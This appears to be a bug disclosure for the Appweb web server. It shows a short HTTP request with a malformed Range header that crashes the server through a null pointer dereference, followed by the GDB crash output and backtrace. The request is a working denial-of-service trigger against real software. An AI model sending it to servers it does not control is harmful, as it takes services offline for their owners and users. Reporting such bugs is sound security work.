The following request will cause a null pointer dereference:
-- 8< --
GET / HTTP/1.0
Range: x=,

-- 8< --

GDB shows the following (note that the line numbers might be a little off):
-- 8< --
Core was generated by `../../build/linux-x64-debug/bin/appweb'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00007ffff7078353 in parseRange (conn=0x7ffff7fb7b60, value=0x0)
at src/paks/http/httpLib.c:17186
17186           if (*tok != '-') {
(gdb) i lo
tx = 0x7ffff7fb62f8
range = 0x7ffff7fb9ec8
last = 0x0
next = 0xfffffffffffe2427
tok = 0x0
ep = 0x7ffff70938d5 "range"
(gdb) bt
#0  0x00007ffff7078353 in parseRange (conn=0x7ffff7fb7b60, value=0x0)
at src/paks/http/httpLib.c:17186
#1  0x00007ffff7075de8 in parseHeaders (conn=0x7ffff7fb7b60,
packet=0x7ffff7fae0e0) at src/paks/http/httpLib.c:16220
#2  0x00007ffff70742d0 in parseIncoming (conn=0x7ffff7fb7b60) at
src/paks/http/httpLib.c:15714
#3  0x00007ffff7073eb2 in httpProtocol (conn=0x7ffff7fb7b60) at
src/paks/http/httpLib.c:15595
#4  0x00007ffff7052ae7 in httpIO (conn=0x7ffff7fb7b60, eventMask=2) at
src/paks/http/httpLib.c:5755
#5  0x00007ffff7052bb0 in httpIOEvent (conn=0x7ffff7fb7b60,
event=0x7ffff7fc9c10) at src/paks/http/httpLib.c:5775
#6  0x00007ffff7052605 in httpAcceptConn (endpoint=0x7ffff7fb68f8,
event=0x7ffff7fc9c10) at src/paks/http/httpLib.c:5683
#7  0x00007ffff6be7069 in dispatchEvents (dispatcher=0x7ffff7fadea8)
at src/paks/mpr/mprLib.c:9957
#8  0x00007ffff6be720e in dispatchEventsWorker
(dispatcher=0x7ffff7fadea8) at src/paks/mpr/mprLib.c:9998
#9  0x00007ffff6c06271 in workerMain (worker=0x7ffff7fb61d8,
tp=0x7ffff7fc3820) at src/paks/mpr/mprLib.c:25658
#10 0x00007ffff6c04be3 in threadProc (tp=0x7ffff7fc3820) at
src/paks/mpr/mprLib.c:24966
#11 0x00007ffff6c04b76 in threadProcWrapper (data=0x7ffff7fc3820) at
src/paks/mpr/mprLib.c:24945
#12 0x00007ffff77bb0a4 in start_thread (arg=0x7ffff4308700) at
pthread_create.c:309
#13 0x00007ffff64dfccd in clone () at
../sysdeps/unix/sysv/linux/x86_64/clone.S:111
-- 8< --